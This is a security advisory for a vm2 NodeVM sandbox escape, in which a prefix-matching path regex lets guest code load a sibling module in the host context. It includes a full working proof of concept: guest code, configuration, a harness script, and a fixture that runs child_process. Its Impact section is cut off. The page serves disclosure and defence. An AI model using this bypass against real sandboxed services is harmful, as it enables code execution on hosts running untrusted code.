Summary
vm2: NodeVM custom resolution bypasses external path boundaries
Advisory details
Summary
At source revision 91034466bfb7f56b95fd48083ec6ca36d058f164 of vm2 3.11.8, an untrusted NodeVM guest can turn one allowlisted custom-resolved module into authorization for a separate file whose path merely shares the resolved path's string prefix. LegacyResolver.customResolve stores the resolved path in this.externals as ^<path> without an end or separator boundary; a later absolute require of a sibling such as foo2/index.js therefore passes the external check and is loaded through hostRequire when the configured context is host. The decisive attack loaded foo as FOO_OK and then executed the prefix-sharing sibling, which returned PREFIX_PWN after invoking child_process; an otherwise identical control denied the sibling with ENOTFOUND.
Technical Details
The affected configuration is a documented NodeVM use in which the embedder sets require.external to {modules: ['foo'], transitive: false}, supplies a custom resolver that returns the foo directory, sets a root directory, and uses context: 'host'. The guest controls the require specifiers and requests the allowlisted bare name before requesting the absolute path of the prefix-sharing sibling. The test entry point is deliberately outside the configured root so ordinary node_modules lookup misses and the custom resolver is consulted.
The source-to-sink path is:
NodeVM.runexecutes guest code and creates the module-specificrequirefunction atlib/nodevm.js:516-575.DefaultResolver.resolveFullsearches normal locations and then dispatches a miss tocustomResolveatlib/resolver.js:227-316.LegacyResolver.customResolvechecks the bare specifier against the external cache, calls the embedder's resolver, and appends an authorization regular expression atlib/resolver-compat.js:266-291.isPathAllowedForModulefalls back tothis.externals.some(regex => regex.test(path))atlib/resolver-compat.js:193-215. The dynamically appended expression^/…/node_modules/fooalso matches/…/node_modules/foo2/index.jsbecause no path separator or end-of-string condition is required.loadJSusesthis.hostRequire(filename)for a host-context file and only wraps the returned exports withvm.readonlyatlib/resolver-compat.js:255-263. Top-level effects of the required file therefore occur in the host process before the exports are wrapped.
The relevant current code has the same flaw for both supported custom-resolver return shapes:
if (typeof resolved === 'string') {
this.externals.push(new RegExp('^' + escapeRegExp(resolved)));
return this.loadAsFileOrDirectory(resolved, extList);
}
const {module=x, path: resolvedPath} = resolved;
this.externals.push(new RegExp('^' + escapeRegExp(resolvedPath)));
return this.loadNodeModules(module, [resolvedPath], extList);
The existing anchored bare-specifier matcher and the separator-aware mod.path check address different authorization states. They do not constrain the new this.externals entries created after custom resolution. The violated invariant is that a resolved allowlisted path may authorize only that exact path and its descendants after a path separator, never a sibling selected by raw string prefix.
PoV
The minimal guest operation is to load the configured bare name and then request the separate absolute sibling path:
const foo = require('foo');
module.exports = {
foo,
sibling: require('/tmp/vm2-prefix-case/node_modules/foo2/index.js')
};
The corresponding embedder configuration is:
const vm = new NodeVM({
require: {
external: {modules: ['foo'], transitive: false},
root: '/tmp/vm2-prefix-case',
context: 'host',
resolve(name) {
return name === 'foo'
? '/tmp/vm2-prefix-case/node_modules/foo'
: undefined;
}
}
});
The sibling is not itself allowlisted. Its successful load is the authorization violation; the child_process call in its top-level code demonstrates that the file ran in the host context rather than as guest-only code.
PoC
From a checkout of the repository, use the pinned revision and install its declared dependencies without lifecycle scripts:
git checkout 91034466bfb7f56b95fd48083ec6ca36d058f164
npm ci --ignore-scripts
Save the following harness as /tmp/custom-resolve-prefix.js:
'use strict';
const path = require('path');
const { NodeVM } = require(process.cwd() + '/lib/main.js');
const [, , mode, fooIndexPath, siblingPath] = process.argv;
const fooDir = path.dirname(fooIndexPath);
const root = path.resolve(fooDir, '../..');
const entry = path.join(path.dirname(root), 'entry.js');
let customCalls = 0;
function runGuest(code) {
return new NodeVM({
require: {
external: {modules: ['foo'], transitive: false},
root,
context: 'host',
resolve(moduleName) {
if (moduleName === 'foo') {
customCalls++;
return fooDir;
}
return undefined;
}
}
}).run(code, entry);
}
const record = {mode, result: 'invalid'};
try {
if (mode === 'candidate') {
const output = runGuest(`
const foo = require('foo');
module.exports = {foo, sibling: require(${JSON.stringify(siblingPath)})};
`);
record.output = output;
if (output && output.foo === 'FOO_OK' && output.sibling === 'PREFIX_PWN') {
record.result = 'violation';
record.signal = 'prefix-sharing sibling executed in host context after custom resolution: PREFIX_PWN';
} else {
record.result = 'pass';
}
} else if (mode === 'control') {
try {
runGuest(`module.exports = require(${JSON.stringify(siblingPath)});`);
record.result = 'violation';
record.signal = 'prefix-sharing sibling loaded before custom resolution';
} catch (error) {
record.result = 'pass';
record.denial = String(error && (error.code || error.message) || error);
}
} else {
record.error = 'unknown mode';
}
} catch (error) {
record.result = 'invalid';
record.error = String(error && (error.stack || error.message) || error);
}
record.customCalls = customCalls;
console.log(JSON.stringify(record));
Create the two neutral fixture modules. The first is the configured module; the second is a separate sibling whose name shares the first module's path prefix:
mkdir -p /tmp/vm2-prefix-case/node_modules/foo /tmp/vm2-prefix-case/node_modules/foo2
cat > /tmp/vm2-prefix-case/node_modules/foo/index.js <<'EOF'
'use strict';
module.exports = 'FOO_OK';
EOF
cat > /tmp/vm2-prefix-case/node_modules/foo2/index.js <<'EOF'
'use strict';
module.exports = require('child_process').execFileSync(
process.execPath,
['-e', "process.stdout.write('PREFIX_PWN')"]
).toString();
EOF
Run the attack and then the negative control from the repository checkout:
node /tmp/custom-resolve-prefix.js candidate \
/tmp/vm2-prefix-case/node_modules/foo/index.js \
/tmp/vm2-prefix-case/node_modules/foo2/index.js
node /tmp/custom-resolve-prefix.js control \
/tmp/vm2-prefix-case/node_modules/foo/index.js \
/tmp/vm2-prefix-case/node_modules/foo2/index.js
The decisive results were:
{"mode":"candidate","result":"violation","output":{"foo":"FOO_OK","sibling":"PREFIX_PWN"},"signal":"prefix-sharing sibling executed in host context after custom resolution: PREFIX_PWN","customCalls":1}
{"mode":"control","result":"pass","denial":"ENOTFOUND","customCalls":0}
Both executions completed successfully with return code 0 in an offline node:bookworm runtime. The attack reached LegacyResolver.customResolve once, while the control reached it zero times. The foo2 fixture can use child_process only because the target loaded it through the host-context path; the same absolute request without the preceding custom resolution was denied.
Impact
This is a sandbox authorization bypass crossing from untrusted guest JavaScript into the host process. A service that runs attacker-controlled JavaScript in a NodeVM with a custom external resolver can be induced to load an existing prefix-sharing host file that wa
References
- https://github.com/advisories/GHSA-5h3f-q97h-ccvc
- https://github.com/patriksimek/vm2/security/advisories/GHSA-5h3f-q97h-ccvc
- https://nvd.nist.gov/vuln/detail/CVE-2026-100721
- https://github.com/patriksimek/vm2/commit/6ac3916da84e060c403e407b6b6318fcc66b0e72
- https://github.com/patriksimek/vm2/commit/91034466bfb7f56b95fd48083ec6ca36d058f164
- https://github.com/patriksimek/vm2/commit/ab4ee7d803e8c80155e9eb3672226bddbca4aa9c
- https://github.com/patriksimek/vm2/commit/fb4977f6211da6cadffdf1f3a2017a826a21c51f
- https://github.com/patriksimek/vm2/releases/tag/v3.12.2
Related vulnerabilities
All Supply chain →- MEDIUMCVE-2026-96628
Arcane: Environment access token bypasses the admin-required authorization gate on `/api/debug/pprof`
- MEDIUMCVE-2026-58494
Wasmtime: WASI hard links bypass wasmtime-wasi's FilePerms for destination
- MEDIUMCVE-2026-102832
JupyterLab: Command link trust prompt in JupyterLab can trust a document other than the one clicked
- MEDIUMCVE-2026-103028
SFTPGo source-side file-pattern filter bypass during copy operations
- CRITICALCVE-2026-77459
Argo CD: AppProject destination-namespace and resource restrictions bypassed by PreDelete/PostDelete resource hooks
- MEDIUMGHSA-fmmf-xq98-g327
Vikunja: Write-level project members can delete admin-tier link shares through an unloaded permission check